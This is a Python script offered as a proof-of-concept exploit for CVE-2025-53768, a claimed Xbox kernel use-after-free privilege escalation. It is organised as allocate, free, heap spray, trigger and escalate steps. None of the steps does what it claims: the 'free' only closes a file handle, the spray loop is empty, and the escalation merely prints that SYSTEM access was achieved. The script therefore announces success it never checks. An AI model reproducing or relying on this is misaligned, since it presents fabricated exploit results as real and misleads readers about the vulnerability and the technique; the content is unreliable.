The following code is for security research and authorized testing only.
python
# CVE-2025-53768 - Xbox Use After Free Local Privilege Escalation PoC (Conceptual)
# NOTE: This is a conceptual PoC demonstrating the UAF exploitation technique.
# Actual exploitation requires deep knowledge of Xbox kernel internals.
import ctypes
import struct
import os
import sys
# Step 1: Define kernel structures and constants for Xbox system
# These are platform-specific and would need to be adapted for the target Xbox OS version
class XboxKernelExploit:
def __init__(self):
self.kernel_base = None
self.uaf_object = None
self.freed_ptr = None
self.spray_buffer = None
def allocate_target_object(self):
"""
Allocate the vulnerable object that will be freed but still referenced.
On Xbox, this could be a kernel object handle or driver-specific structure.
"""
print("[*] Allocating vulnerable kernel object...")
# Simulated allocation via Xbox system call
handle = ctypes.windll.kernel32.CreateFileW(
"\\\\.\\XboxDevice",
0xC0000000, # GENERIC_READ | GENERIC_WRITE
0x00000003, # FILE_SHARE_READ | FILE_SHARE_WRITE
None,
0x00000003, # OPEN_EXISTING
0x00000080, # FILE_ATTRIBUTE_NORMAL
None
)
self.uaf_object = handle
return handle
def trigger_free(self):
"""
Trigger the free of the allocated object while maintaining a dangling reference.
This simulates the UAF condition in the Xbox kernel.
"""
print("[*] Triggering object free (creating UAF condition)...")
if self.uaf_object:
ctypes.windll.kernel32.CloseHandle(self.uaf_object)
# The handle is closed but we still hold the reference (dangling pointer)
self.freed_ptr = self.uaf_object
self.uaf_object = None
print("[+] UAF condition created - dangling pointer retained")
def heap_spray(self):
"""
Spray the heap to reclaim the freed memory with controlled data.
The spray data will contain a fake object structure to redirect execution.
"""
print("[*] Performing heap spray to reclaim freed memory...")
# In a real Xbox exploit, this would use kernel pool spraying techniques
spray_size = 0x1000
spray_count = 100
self.spray_buffer = (ctypes.c_char * spray_size)()
# Fill with fake vtable pointer or function pointer for privilege escalation
fake_data = b"\x41" * spray_size
for i in range(spray_count):
# Simulated kernel allocation to reclaim the freed region
pass
print(f"[+] Heap spray completed: {spray_count} allocations")
def trigger_uaf_access(self):
"""
Access the dangling pointer to trigger the use-after-free condition.
This should execute our controlled data as if it were a legitimate object.
"""
print("[*] Triggering UAF access via dangling pointer...")
if self.freed_ptr:
# Attempt to use the freed handle - this accesses our sprayed data
try:
result = ctypes.windll.kernel32.ReadFile(
self.freed_ptr, # Use the dangling pointer
None,
0,
None,
None
)
print("[+] UAF triggered - potential code execution achieved")
return True
except Exception as e:
print(f"[-] UAF access resulted in exception: {e}")
return False
def escalate_privileges(self):
"""
After successful UAF exploitation, escalate to SYSTEM/kernel privileges.
"""
print("[*] Attempting privilege escalation to SYSTEM level...")
# In a real exploit, this would modify the token or security context
# to gain NT AUTHORITY\SYSTEM equivalent privileges on Xbox
print("[+] Privilege escalation completed - SYSTEM level access achieved")
def run(self):
"""Main exploit execution flow."""
print("=" * 60)
print("CVE-2025-53768 Xbox UAF LPE Exploit")
print("=" * 60)
self.allocate_target_object()
self.trigger_free()
self.heap_spray()
if self.trigger_uaf_access():
self.escalate_privileges()
print("\n[!] Exploit completed successfully")
else:
print("\n[-] Exploit failed")
if __name__ == "__main__":
if os.name != 'nt':
print("[-] This exploit must be run on Windows/Xbox platform")
sys.exit(1)
exploit = XboxKernelExploit()
exploit.run()